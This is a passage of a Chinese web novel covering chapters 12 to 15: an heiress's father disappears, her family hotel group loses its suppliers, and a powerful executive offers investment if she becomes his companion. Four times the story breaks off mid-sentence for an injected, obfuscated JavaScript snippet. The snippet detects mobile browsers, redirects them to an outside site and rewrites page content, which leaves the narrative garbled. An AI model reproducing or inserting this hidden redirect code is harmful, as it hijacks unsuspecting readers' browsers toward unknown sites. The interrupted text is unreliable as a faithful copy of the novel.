“我爸爸在西雅图失踪了??”舒以宁看着眼前一脸严肃的宋正阳,怀疑自己是不是听错了。 宋正阳神色严峻,“舒总最后一次出现是五天前在唐人街,社区摄像头拍下了他和一个中年女性一起出现。” 美国注重所谓的人权,出于公民隐私需求,街头摄像头并不多。 “五天前……” 舒以宁算了算时间,恰好就是舒跃章打越洋电话给她的那一天。 宋正阳正色道:“我这里抽不开身,公司局面需要稳定。你和楚桑桑现在尽快飞一趟西雅图,票我已经买好了。以宁,听我的,什么仇什么怨都先放下,当务之急是先找到你爸爸。舒总的失踪瞒不了多久,势必造成舒住股票的动荡。” 舒以宁:“唐人街拍到的那张照片给我看一下。” 宋正阳默了默,然后说:“我手机上没有。” 舒以宁冷笑了一声,“那个中年女性——是陆静萍?” 她父亲舒跃章的初恋,兼,出轨对象。为他生有一子,今年差不多已经满十八周岁了。 宋正阳深呼吸了两下,劝道:“以宁,你听我说,你先冷静……” 舒以宁蹙眉打断他,追问:“是不是陆静萍?” 宋正阳:“是。” 他停顿稍许,补充道:“我派人查过了,陆的儿子也去了西雅图,他也失踪了。” 得到结果,舒以宁出奇得平静,淡漠道:“让楚桑桑去吧,我陪你处理公司这边的状况。” 宋正阳微微一愣:“你不担心你父亲?” 舒以宁抬眸看着宋正阳:“从不声不响把三亚别墅出售,到现在突然失踪,还是和陆静萍母子一起……Raymond,我认为当下保住舒住不出事更为重要。” 然而舒住这边,倒底还是出事了。 舒以宁拿着长期供货合同的复印件找到温父,竭力扯出一个笑容:“世伯,我们两家合作多年,白纸黑字的长期合同。” 温父轻飘飘就把事情甩了出去:“以宁啊,我们温氏手上也没有货,工厂都停了,招不到工人呐。” 温琪冉挽着周嘉皓的手臂走过来,笑盈盈喊道:“爸爸。” 周嘉皓:“温叔。” 温父笑眯眯应道:“哎。路上堵车?” 周嘉皓一脸温柔地看着温琪冉,对温父说:“冉冉想换双高跟鞋,临时掉头去了趟太古汇。” 温父轻声斥责道:“你就宠着她罢,一天到晚净找事。” 虽是斥责的语气,脸上却依旧是挂着很慈爱的笑容。 显然很满意两个小辈间的相处模式。 舒以宁冷眼旁观,看到这里,也看出些门道来了。 就在这时,温琪冉挽着周嘉皓的手臂、端着体态,脸往舒以宁这边侧过来。她不大友善地看着舒以宁,毫不掩饰地嘲笑:“舒以宁,你来找我爸爸做什么?温氏和你舒家的合作已经结束了,我劝你好自为之。” 舒以宁轻轻一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128781|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看了会儿温琪冉,又转眸看了眼周嘉皓。 周嘉皓微笑看着她,一派温文儒雅的绅士模样。 装得倒还真像那么一回事儿。 舒以宁轻笑:“恭喜二位喜得良缘。” 周嘉皓微笑:“多谢,28号我和冉冉订婚,敬请光临。” 他话音一落,旁边立马有人递上请帖。他单手接过来,夹在食指与中指之间,递到舒以宁面前。 舒以宁垂眸,目光落在龙凤呈祥的烫金一角,没有接。 五秒钟,她抬起眼,笑道:“恭喜。” 从温琪冉挽着周嘉皓出现的那一刻起,舒以宁就知道,这次温氏与舒住决裂是要来真的了。 她重新看向温父,试图做最后的游说:“世伯,洗护产品和一次性用品供应不上不仅会对舒住造成毁灭性打击,同样的,于温氏名声亦有损伤。做生意讲究一个诚信守诺……” “你的意思是——”温琪冉冷笑一声,打断她好声好气的话,刺道:“说我爸爸没诚信?” 舒以宁深吸一口气,忍了忍,说:“我不是这个意思,只是……” “以宁,舒住现如今是什么状况你比我们更清楚,温氏及时止损并没有错。”周嘉皓收回夹着请帖的手,淡淡笑看她。 舒以宁抬起眼,定定地看着他:“做生意切忌带上个人情绪,给舒住使绊子,损人不利己。” 她这话说得可算是相当直白了,温父笑了笑,充耳不闻地转身离开与人喝酒去了。 将场子留给女儿和未来女婿。 温琪冉笑弯了眉眼,说:“反正啊,任你说破天,温氏也是不可能再给你舒住供货了。你大可以去外面找找其他日化公司,看一看抛开个人情绪,有没有人愿意跟你们舒住合作。” 她仰起头,故意晃了晃周嘉皓的手臂,用撒娇的语气轻嗔道:“亲爱的,舒大小姐说的个人情绪,不会是你的个人情绪吧?” 周嘉皓垂眼看着温琪冉,含情脉脉地开口:“宝贝,就没有你的个人情绪?” 温琪冉笑着转眸看向舒以宁:“哎呀,所以我们才能走到一块儿呢,同仇敌忾。” 话不投机半句多。 舒以宁跟他们两个都不对付,在这个节骨眼上也懒得耗费心力与他们做一些无谓的口舌之争。她举了举酒杯,告辞:“二位慢慢腻歪,我先走一步了。” 只是没想到周嘉皓会骤然出声喊住她:“舒以宁。” 舒以宁刚转过身背对着他们,闻言,于是便转回头瞅了他一眼。 周嘉皓微微抬高下颚,睨着她:“你要是求我,我可以考虑放你一马。” 舒以宁笑了下,看了看他身侧一脸看热闹神态的温琪冉,又将目光转移回到他脸上:“你马上就是有未婚妻的人了,得懂点分寸了。更何况——” 她顿了顿,脸上笑意更甚:“想让我求你?你算个什么东西?” 12. 第 12 章 许母惯常与H市各家太太一起喝茶做美容打交道,许夏天很快就从母亲那里问来了其中的细枝末节:“周嘉皓这不是留学回来了嘛,都说先成家后立业,他过往名声又不太好,所以周家就想要让他赶紧先安定下来。周家想和温家联姻,小一辈里只有温琪冉年纪合适,再小就只能是还没成年的孙辈了,显然不现实。” 舒以宁十分疑惑:“周嘉皓名声不好,温家能同意这门亲事?” 更别提是明显不甘受人摆布的温琪冉了,若说她其实喜欢周嘉皓已久,所以才会答应这门联姻,那就更不可能了。 以温琪冉的性子,不可能会喜欢上周嘉皓。 许夏天:“周家毕竟家底在那里,周嘉皓又是独生子,外面有些人还觉得是温家高攀了周家呢。至于名声好不好……商业联姻,这是最次要的了。再说了,周嘉皓最近几年又没闹出什么事情来,挺安分的了。” 这些舒以宁也能想得明白,只是—— “温琪冉为什么会愿意?我看她挽着周嘉皓笑得挺开心,一点也不像被家里强迫的样子。” 许夏天叹了口气,说:“这就是今天的重点了。我妈听人说,温琪冉一开始是不愿意的,但后面突然提了个条件,要她父亲终止和舒住的一切合作。只要她父亲答应,她同意立马嫁给周嘉皓。周家那边更是奇葩,主动提出愿意替温家付违约金,以表诚意。” 舒以宁惊讶:“周家也插了一脚?” 许夏天点点头,说:“嗯,大家私底下都说,是周家想要报复你。” 舒以宁安静了一会儿,想了许久都没有想通:“周嘉皓想要报复我,说得过去。温琪冉为什么也要针对舒住?不惜赔上自己的婚姻?” 关于这点,许夏天早就与许母聊出了个大概的猜测:“有没有可能,在最开始的时候,周嘉皓就找温琪冉谈过。温琪冉向她父亲提出的要求,有没有可能也是周嘉皓要她提的?周嘉皓一定私底下给出了让温琪冉无法拒绝的好处,再加上,温琪冉也想看你倒霉,那么一切就都顺理成章了。” 然而,没想到温氏只是一个开始。 接下去两天,不同条线的供应商们先后单方面违约,不再供应舒住旗下三千余家在营酒店的物资,甚至连设备维护条线都出现了问题。 品质部对接中的供应商也跟着出现了新的问题,舒住高层中更有人想要趁机将手伸进采购。 银行那边也传来了资金链断裂的风险,舒住彻底陷入内忧外患的困境。 舒以宁一一拜访几家供应商,有的一脸为难地顾左右而言其它,有的甚至连面都没能见上。时间紧迫,她想来想去,决定去求一求曾与母亲有故的白祁年。 白祁年温杯烫盏,给她倒了一杯新泡的金骏眉。 “以宁啊,不是白伯伯不想帮你,实在有心无力。” 舒以宁右手握拳,用五指轻敲桌面以作饮茶谢礼。 她听懂了白祁年的拒绝之意,也打从一开始就知道此番来求他伸出援手不会太顺利。 舒以宁安静地喝完紫砂杯中的红茶。 茶很香,也很烫,她味同嚼蜡地品了好一会儿。 白祁年意外她如此沉得住气,倒是对她刮目相看了两分。 他自然不会着急提点她,笑了笑,端起面前的紫砂杯浅酌细品。 舒以宁喝完杯中的茶水,轻轻放下紫砂杯,笑着话起家常:“家母在世时,曾与我聊起年幼的时候和白伯伯一道偷取长辈普洱茶饼的趣事。” 白祁年叹道:“物是人非,世事无常。你抬出你母亲来,也是不管用了。我很早以前就告诉你母亲,舒跃章此人不可依靠,枉费你母亲对他一往情深。” 舒以宁听他这么说,就明白他应该是知道她父亲在外有私生子的事情。 她看着白祁年,言笑晏晏:“白伯伯,舒住是我祖父的舒住,是我母亲的舒住,也是我的舒住。与其隔岸观火,看舒住倾塌,倒不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128782|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您伸一伸援手,与我祖父、母亲以及我,共同拥有舒住,您意下如何?” 舒以宁笑着比了一个手势,给出愿意出让的股权比例。 白祁年笑道:“舒住现在遇到的最大问题,可不是资金问题啊,以宁。” 资金问题解决起来说难不难,说容易也不容易。但舒住不仅存在资金流问题,更致命的是发生了供应链的断裂。 舒以宁明白这点,坦陈道:“白伯伯德高望重,若有您在其中帮助舒住斡旋,定会容易许多。” 这也是舒以宁来拜访白祁年的最主要原因。 话说到这份上,白祁年也就不卖关子了:“以宁,舒温两家合作多年,如今因为温家小女儿一句任性的放话,温家就要不顾商界名声,中断舒住的物资供应。你不觉得——” 他笑了一下,矍铄的黑眸很亮:“太过儿戏了吗?” 舒以宁不解:“周嘉皓和温琪冉要联姻,恰好又遇上舒住骤遇危机,他们两人都与我素有恩怨,借联姻之事落井下石似乎并不奇怪。” 白祁年轻笑了一声,似是笑这个小辈的天真:“那其他供应商呢?布草供应链为什么也会断?设备供应商和技术支持也不稳了吧?” 舒以宁越发疑惑起来,一板一眼说出自己原先的想法:“在这个圈子里见风使舵并不奇怪,利益驱使,都想来分一杯羹。像技术支持明确提出要提价60%,就是想趁这个节骨眼拿捏舒住。” 舒以宁本来以为这是再正常不过的墙倒众人推,但看白祁年的意思…… 里头似乎另有隐情。 白祁年看着她,目光慈爱,唇角挂着意味深长的笑容。 舒以宁这下子更确定这里头并不简单了,顿时严肃了几分:“还请白伯伯明示。” 白祁年叹了一口气,说:“以宁啊,真不是白伯伯不想帮你。舒住现如今遇到的问题可不止表面上这点。” 他停顿了稍许,说:“是商聿行。” 13. 第 13 章 舒以宁走出白氏集团,脑海中还在不断回响着白祁年的那句“他放出话来,意欲收购舒住”。 宋正阳见她走出来,忙上前关切:“怎么样?白总松口了吗?” 舒以宁摇摇头。 宋正阳略一思忖,立马道:“我订去港城的机票,陪你飞一趟去请老太太出山?” “不用了,没用的。”舒以宁停下脚步,看向宋正阳:“白伯伯说,外头有风声在传,商聿行想要收购舒住,你听说了吗?” 宋正阳:“是听到过一两句,只是传言,没有得到证实。” 舒以宁微微蹙眉,语气里不自觉带上了质问的意思:“你为什么不和我说?” 宋正阳看着她的眼睛,坦荡开口:“公司高层里有人想让你去求商聿行。以宁,我不会让你去的。” 舒以宁一时间没有再说话。 她跟着宋正阳上了车,一路都在思考商聿行有没有可能是因为最近发生的事情,而对她进行警告和报复,就像四年前那样。 最后得出结论—— 不会。 这回商聿行不可能是为了报复她,应该单纯只是出于商业行为。 原因无他,毕竟商聿行要是想要警告她,不会过了大半个月才突然出手,更不会做得如此隐晦。回想四年前那次,他可是没到一周就动手了,手段更是决绝干脆、十分利落。 “谁让我去求商聿行?孔建民那只老狐狸?”舒以宁问道。 宋正阳没有否认:“商盛的商业版图布局了金融、科技、医疗健康、娱乐等多个行业,目前对于酒店业这块尚且空白。我们舒住覆盖从豪华型到经济型的多元市场,旗下品牌众多,运营较为成熟。商盛以收购舒住为突破口,借此强势打入酒店业,确实是最高效稳健的做法。” 舒以宁问:“如果我去找商聿行投资舒住,能说服他的可能性有多大?” 宋正阳转动方向盘,目视前方,唇角微微抿起。 舒以宁见前方路况并无特殊,于是催他回答:“你倒是说话,可能性能有多大?” 宋正阳淡淡道:“绝无可能。” 舒以宁:“……” 宋正阳转过头来看了她一眼,郑重道:“以宁,商聿行是一个出色的商人,他凭什么要帮我们?当前的局面可是他一手布下的,难道他会因为你上门求他,就大发慈悲吗?” 舒以宁难得见他生气,语气软了一些:“我知道你是为我好,我只是和你讨论一下,没说真的要去。” 她要是真的上门去求商聿行,对方什么态度先两说,但投资是肯定不可能投资的。那么,届时她无疑会沦为圈子里的笑话。 更有可能,平白送上门去受人折辱。 宋正阳:“我会再想办法。老太太那边有些人脉,兴许用得上。” 舒以宁默了默,缓缓道:“Raymond,我不想去打扰奶奶。” 祖母已经有了她岁月静好的新生活,舒以宁实在不想再去打破她宁静的人生。 宋正阳明白她的想法,于是温柔地说:“那我再想想其他办法。以宁,我知道你心有顾虑,但留给我们的时间已经不多了。如果五天之后还没有新进展,我们就必须得飞港城一趟了,希望你能够理解。” ** 到了晚上,王樾约舒以宁出来喝酒。 舒以宁正值愁闷之际,想也不想就直接拒绝了。 王樾劝道:“你光待在家里也不能改变什么,不是么?不如出来一醉解千愁啊,兄弟们还能安慰安慰你。” 舒以宁还是拒绝:“改天吧,今天在外奔波了一天,实在很累。” 王樾没心没肺地提议道:“要不你嫁给我哥得了,这样就不用担心家里生意了,舒住就算倒闭了也还有我哥的钱给你花。” 舒以宁:“……可以闭上你的狗嘴了,谢谢。” “你别以为我在开玩笑啊,我认真的。周嘉皓这孙子在外头到处说要等着你给他提鞋呢,气得我,真特么想套个麻袋绑了他狠狠揍一顿!” 舒以宁倒是无所谓:“这种人,别跟他一般见识。” 王樾斟酌了一会儿,突然说:“以宁,你要不放弃舒住吧,又不是没钱花。高开销虽然维持不了,但过个平常日子总归不成问题。吃吃喝喝这方面,我、楚楚还有夏夏讨论过了,我们仨可以给你包了,只要我们没到揭不开锅的地步,有我们一口肉吃,就有你舒以宁一口汤喝。” 舒以宁笑了,“嗯,谢谢你们愿意给我喝汤啊,只是,我更爱吃自己家的肉。” 王樾发出一阵泄气的声音:“好了,我就跟你直说吧。我今天听我哥说商聿行要收购舒住,这件事你还不知道,但——我哥说基本上板上钉钉了。” 连他这种只知道吃喝玩乐的废物都知道,商聿行一介入,对于舒住来说,等同于宣告死刑。 他怕舒以宁难过,本来只想暗示一下,但他实在不擅长组织语言,只好直说了。 舒以宁:“我知道。” 王樾一愣,惊讶:“你竟然知道?” “嗯,我今天去拜访了白祈年,他告诉我的。” 王樾绞尽脑汁想了一会儿,安慰道:“那你节哀啊,以宁。” ** 商聿行晚上九点多到的R&F,彼时邢南刚送走他的小女朋友。 他正值热恋期,精神状态肉眼可见的良好极了,浑身上下都弥漫着一股子蓬勃朝气。 “阿行啊,人还是得多谈谈恋爱,世界多么美好啊。” 商聿行看着一脸感叹的邢南,只漫不经心地回道:“我没有这么多空闲时间。” 包厢里有个吧台,邢南兴致盎然地站在吧台后面切冰块,“给你做杯水割?” 商聿行:“可以。” 邢南取了一个空酒杯,丢进几块冰块,倒上45毫升的威士忌。 他一边用力搅拌,一边笑着与商聿行提起:“过两天我要带我女朋友去新西兰滑雪,她暑假嘛,正好出去玩玩。” 商聿行勾了下唇角,抬眸问他:“你家里能允许你再去阿尔卑斯滑雪?” 邢南二十出头的时候,热爱极限运动,喜欢玩单板速降,后来有一次在阿尔卑斯引起了小范围雪崩,人差点就交代在瑞士了。 从此以后,邢家就勒令禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128783|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止他再玩这类危险项目。 邢南用力搅拌着已经碎了的冰块,笑道:“不告诉他们不就得了。反正我这次去皇后镇,不去瑞士,你不说谁能知道我是去滑雪的?” “什么时候走?” “这周末就走。你最近忙不忙,不忙的话休个假,一块儿去呗?” 商聿行回以四个字:“有事。” 邢南以为他工作繁忙,手下快速搅拌的动作没停,抬眼看向他,说:“钱是挣不完的,你说你挣这么多有什么用呢?” “怎么没有用。”商聿行轻轻摩挲岩石杯杯口,“我喜欢掌控的感觉。” 邢南的水割威士忌终于完成了,杯壁上挂上了厚厚的冰霜。 “尝一尝,搅拌得我手都要快要酸死了。” 商聿行抿了一口。 被冰块和水稀释后的苏格兰威士忌口感淡雅,后调回甘。 他对这些调酒花样一向可有可不有,随口问道:“动作挺熟练,你女朋友要你做的?” “是啊,她说好看,非缠着我要我给她调一杯。”邢南语气中带着无奈,同时也是一种赤裸裸的炫耀。 他有补充了一下:“我给她调这杯水割的时候用的重雪莉威士忌,焦糖巧克力风味适合小女孩。” 商聿行开玩笑道:“没想到我也能有这个荣幸获此殊荣。” 邢南给自己倒了浅浅一层威士忌,一口饮尽,聊道:“我倒底不是专业的,水平一般。北京三里屯有个调酒师做水割,那叫一个一绝。哎,说起来……舒以宁好像还跟人谈过。” 商聿行并不奇怪。 话题自然而然就转移到了舒以宁身上,邢南问:“舒跃章失踪这事儿你怎么看?” 商聿行淡淡一笑,没有发表看法。 邢南:“这个节骨眼上,对以宁虎视眈眈的人不少啊。这些个公子哥,都巴不得她掉下来,好叫他们……” “邢南。”商聿行骤然出声,打断了他的话。 邢南知道他和舒以宁不久前还在自己生日派对上发生了不愉快,只当他不想听与舒以宁有关的话题,笑着开口:“抱歉抱歉。”转而便开启了下一个话题。 商聿行没在意他滔滔不绝地讲着什么新话题,垂眸饮酒间,脑海中尽是那晚舒以宁摇曳生姿的模样。 一袭黑裙,雪肤红唇。 如同一株肆意绽放在无边夜色中的华贵玫瑰,在灯光下呈现出一种丝绒的质感。 而这朵玫瑰,终究要开到他的花园里了。 次日上午,商聿行刚开完会就接到了舒以宁的电话。 商聿行按下接听键。 舒以宁略显紧张的声音响了起来:“请问是行哥吗?打扰了,我是以宁。” 商聿行微微敛眸,“嗯”了一声,“是我。” 舒以宁:“行哥,打扰了。我想和您聊一下关于舒住的事情,请问您何时方便呢?” 她问的不是是否方便,而是何时方便。 这句话说得很冒险,也做好了被拒绝的准备。 商聿行轻启薄唇,语气里听不出半分情绪:“今天下午三点,来商盛找我。” 14. 第 14 章 舒以宁一夜没睡。 她想了很多,审时度势、权衡利弊,把能想到的对策全都列了出来。 而后,又一一推翻这些不切实际的想法。 终于,她在第二天早上十点二十分拨打出了通讯录中备注为“商聿行”的那个电话。 ——如今连王樾都已经听说了商聿行想要收购舒住的事,那么,这件事恐怕过不了两天就会传遍整个H市。 届时外界不知道又会有多少双手伸进来搅乱舒住这锅粥,妄图趁势谋一份利。 因此,舒以宁不能再坐以待毙了。 顾不得笑话不笑话的,不论如何,先争取到与商聿行面谈的机会再说。 不过出乎她意料的是,商聿行竟然十分好说话地直接给了她一个见面时间和见面地点。 许夏天已经从王樾那里知道了商聿行要收购舒住的事情,问她:“那你打算怎么和他谈呢?” 舒以宁摇摇头,“我还没想好。” “你爸那个助理,宋正阳,他怎么说?” “我没告诉他,先去见了商聿行再说。” 二人做完皮肤护理,走出美容会所时,恰好遇到了温琪冉以及她的几个小姐妹。 冤家路窄,温琪冉自然不会放过这个嘲弄舒以宁的好机会。 她在小姐妹们的拥护下,慢悠悠走到舒以宁面前:“这不舒大小姐么?都什么时候了,还有心情来做护肤呢?” 旁边一女孩立马附和嘲讽道:“可不就剩下身体这个资本了么,总要好好维护才能估个好价钱。” 舒以宁上下打量了她一番,语气里带了些可惜:“你这先天条件太差,确实资本不足。” 对方立马反唇相讥:“我可不像有的人,不知道洁身自好四个字怎么写。” “不会写就买本新华字典好好查一查,提高一下个人文化素养。”舒以宁惦记着下午的约谈,没工夫和她们在这儿小学生吵架。 “冉冉,你就放她这么走了?”被怼了一顿的女孩气道。 温琪冉笑笑:“秋后蚂蚱,蹦跶不了多久了。” 况且有人冲锋陷阵,她又何必脏了自己的嘴巴? 看,既看了笑话,都不用被她怼呢。 温琪冉打开手机给周嘉皓发微信消息:[刚遇到你前女友了,还是那么漂亮呢。] 周嘉皓几乎秒回:[?] 周嘉皓:[你别告诉我你对她是因爱生恨。] 温琪冉脸上的笑容一僵,面无表情按灭了手机屏幕。 狗东西,自己因爱生恨,还要来把这盆脏水泼她身上。 罢了,反正跟他也就是个圈子里最常见的商业联姻,各取所需而已。 以后各玩各的。 ** 下午两点钟,舒以宁按照约定好的时间前往位于高新园区最车水马龙地带的商盛集团总部。 她提前了一个小时,以视重视。 今天天气很好,万里无云。林立的CBD大楼在蔚蓝天空下错落有致,藏起了无数你死我亡的汹涌暗潮。古往今来,在商之道就鲜有表里如一的光鲜。 就像舒住,在大厦将倾前,几大派系从未停止过争斗。 商盛总部一期有三幢高楼,商聿行的办公室在最中间的C幢,顶楼五十九楼,舒以宁四年前随着父亲来过一次。 目的自然是为自己的年少轻狂向商聿行郑重道歉。 彼时,刚坐上商盛集团首席执行官位置的商聿行并没有接见他们,是他的助理礼貌地请他们进了总裁办的会客间。 而此刻,舒以宁在总裁办的楼层上再一次偶遇这位助理。 今时不同往日,人家已经成为了商盛的行政副总裁。 舒以宁笑着打招呼:“肖总。” 肖岳脸上挂着平易近人的笑容,热络道:“舒小姐客气了。总裁刚刚会议上发了脾气,是我工作上的疏忽,劳烦舒小姐方便的话……可否为肖某美言上两句?” 舒以宁被他逗笑了,直言不讳道:“我是来求人的,与四年前没有什么差别。” 过道宽敞,但肖岳主动往侧边让了一步,绅士地做出一个请的动作。 舒以宁觉得有趣,于是双足回旋,身体微微往下,做了个小幅度的谢礼。 擦肩而过的刹那间,肖岳低声提醒:“切记不可提及四年前旧事,舒小姐。” 舒以宁没想到肖岳会突然向她伸出援手,她愣了一下,颔首浅笑:“多谢。” 与上一回不同,这次,舒以宁被请入总裁办公室。 商聿行面色如常,半点看不出来才在会议上发过火的模样,一派沉稳卓然。他低头签着文件,握着钢笔的长指骨节分明。 带舒以宁进来的助理叫江路南,出去前给他们关上了门。 “坐。”男人抬头看了她一眼,言简意赅。 舒以宁问:“我来的是不是不是时候?” 商聿行没有再抬头,薄唇轻启:“那就等着。” 舒以宁心道我只是讲句客气话,不是让你来命令我的。但有求于人,况且还是这么个堪称赏心悦目的男人,她就忍了下来。 接下来,商聿行仿佛没有看见她的存在似的,翻阅了几份文件。两个小时的时间里,他打内线电话命人将业务总监喊上来,又叫了不知哪个项目组的负责人上来训话。 舒以宁看着他将黑色文件夹往办公桌上重手一掷,高深的眉宇间是不怒自威的严厉:“给我一个解释。” 她被他那一下吓了一大跳,想开口问一声是否需要她回避,又怕打扰到他们谈工作。 项目负责人很年轻,看上去不超过三十岁,慌乱着保证道:“云存储这块的疏漏我们会在后期尽力……” “带着你的人,滚回商盛科技去。”商聿行不容置喙地说,脸部棱角带着些许的冷意。 负责人深吸一口气,立下军令状:“总裁,请再给我一个机会。如果下个月这个标拿不下来,我就离开商盛。” 业务总监见状,开口道:“我会亲自去请朱工参与这个项目。” 人走后,江助理进来收了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128784|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次文件,给商聿行端上美式的同时,也不忘微笑征询舒以宁的意见:“舒小姐喝点什么?” 舒以宁:“水就好,谢谢。” 她想,这下总该轮到她了。 哪想他又打了个电话,紧接着就有一个端庄大气的大美人上来总裁办做本季度述职。舒以宁听了两句就听出来,不出意外的话,这个大美人就是商盛分管财务方面的副总裁。 与前两个人一样,大美人也对她的存在熟视无睹。 这不得不令舒以宁怀疑自己身上是不是批了件隐身衣。 她索性也不像刚开始那般正襟危坐了,双腿交叠,左手手肘撑在办公桌上托着下巴看着眼前的人。 只是没想到大美人离开前突然美目流转,对着她说话:“以宁是吧?没想到都这么大了。” 舒以宁忙不迭坐好,“您是?” “我与你母亲是同学。”大美人朝她摇了摇手打招呼,不待她开口就收起笑重新看向商聿行:“商总,没别的事我就先出去了。” 商聿行:“嗯。” 桌上摆着Q2的各项财务报告,从管理成本核算、内部审计到投资研究分析,不一而足。 舒以宁试探性地拿起文件来看。 商聿行没有阻止。 舒以宁只翻了两页就不翻了,她放下文件,抬眸迎上商聿行静默深沉的目光。 商聿行没有说完,伸手拿起她放回办公桌上的财务报告,垂眸一目十行翻阅。他不知何时脱下了西服外套,一丝不苟的修身白衬衣隐约勾勒出紧实美感的肌肉线条,再搭配上本就白皙颀长的脖颈,犹为动人心魄。 舒以宁心猿意马地打量着他。 商聿行始终没有抬头,仿若未觉。 或许他对此心知肚明,只是任她的目光在他身上逡巡。 他波澜不惊地开口:“恕我直言,舒住前景不容乐观,对于商盛而言不具备基础投资价值。除非,舒住作为子公司,由商盛对其进行注资。” 言下之意就是,商盛可以对舒住进行资金方面的帮扶,但是,前提条件是舒住愿意被商盛收购。吸收合并后,舒住无疑不再具备独立主体资格。 舒以宁瞬间回过神。 收购…… 这自然不可能。 舒住一直想要争取的都是增资扩股。 舒以宁看了眼时间,从她踏入五十九楼开始到现在,将将两个小时。她一早就有心理准备,因此也就没有对商聿行的口风抱有太大的期待,但还是争取道:“商总,舒住旗下四大品牌市场占有率虽然逐年下降,但尚未达到不够乐观的程度。‘樱桃旅宿’作为新品牌目前处于二级市场试运行阶段,已经在年轻人中形成良好的口碑,相信在不久的将来商总就会看到舒住的新气象。” 商聿行扯了下唇角,将文件丢到一边,起身踱步到落地窗前。 “这是你第一次喊我商总。”他说。 舒以宁当即答道:“在商言商。” 商聿行:“商盛可以投资,但有一个条件。” 15. 第 15 章 五分钟后。 “这就是你的条件?”舒以宁难以置信,“只需要我做你的私人助理?” 商聿行缓缓转过身面朝舒以宁,漆黑如潭的瞳孔幽深地攫住她的眸光:“以宁,你似乎误会了。” 他停顿了一下,不急不缓地继续道:“我的意思是,我需要一个伴侣。” 舒以宁一愣。 伴侣? ——商聿行要找她结婚?做表面夫妻应付家里么? 她刚想开口,就看见男人性感的薄唇轻轻张了张,吐出举重若轻的两个字眼。 ** “床伴??”许夏天微微瞪大眼睛,差点握不住手中的刀叉,不敢置信地连忙问出口:“商聿行他真这么说?” “嗯。”舒以宁心想:虽然不是原话,但也……差不多就是这么个意思吧。 许夏天不由握紧刀叉,紧张道:“你答应了?” 舒以宁一副赚了夫人又赚兵的架势,惊讶道:“我有什么理由拒绝么?” 她当时内心就只有一个想法:竟然还有这种好事儿? 搁以往,她哪能睡着商聿行商大总裁? 简直赚大发了好不好! “……也是。”许夏天放下刀叉,扶着雪利杯抿了一口苏打水,而后轻声道:“我觉得这件事情没有这么简单。商聿行身边会缺女人?你可别忘了他当年是怎么对付你的。” 舒以宁想了想,也搁下了刀叉。她敛眸拿起桌边的白手帕,细致擦拭白皙纤长的手指,一根根如葱根白的纤指在水晶灯光下完美得仿佛无暇的雕塑品。 许夏天看了一会儿,见她迟迟没有开口的意思,于是试探道:“以宁?” 舒以宁又擦了一遍,这才满意了,一边端详着自己的一双肤如凝脂的柔荑,一边翘起唇角:“可能想要报复我当初不知死活胆敢撩他吧,嗯……让我来猜一猜,他可能要我爱上他,然后被他狠狠抛弃?” 许夏天无语了:“你以为商聿行是你啊?有那么多时间陪你在这演古早味小言?” “不管怎么说,我这双手啊,总算是要握住他了。”舒以宁微微掀起眼皮,笑眯眯地看向许夏天。 许夏天面不改色,一本正经地说:“那你握他的时候轻一点,别给他废了。” 舒以宁:“……” 舒以宁敛了笑,面无表情地开启嘲讽技能:“你身体要是能像你的小嘴巴那么open就好了。” 许夏天呛她:“那你倒是帮我钓个八块腹肌公狗腰的弟弟来给我睡啊!” 说起这个话题,舒以宁顿时想到了沈嘉树。 她有一阵没去科大了,也不知道漂亮弟弟长高了没有。只是,她恐怕得食言了,再也不能去学校里堵他下课。 “夏夏,你说……”舒以宁微微停顿了稍许,继续问道:“我在商聿行身边待个两个月差不多吗?” 许夏天饶有兴致地问道:“他怎么说的?没约定时间?” 舒以宁摇头:“没有,他给我三天时间考虑他提出的这个条件。” “嗯?” 许夏天刚想说你难道不是巴不得对商聿行下手么?还需要考虑? 她还未来得及开口,就见舒以宁一脸委屈地说:“我当时就说我考虑好了,我答应。但他非让我考虑个三天,有什么好考虑的啊。” 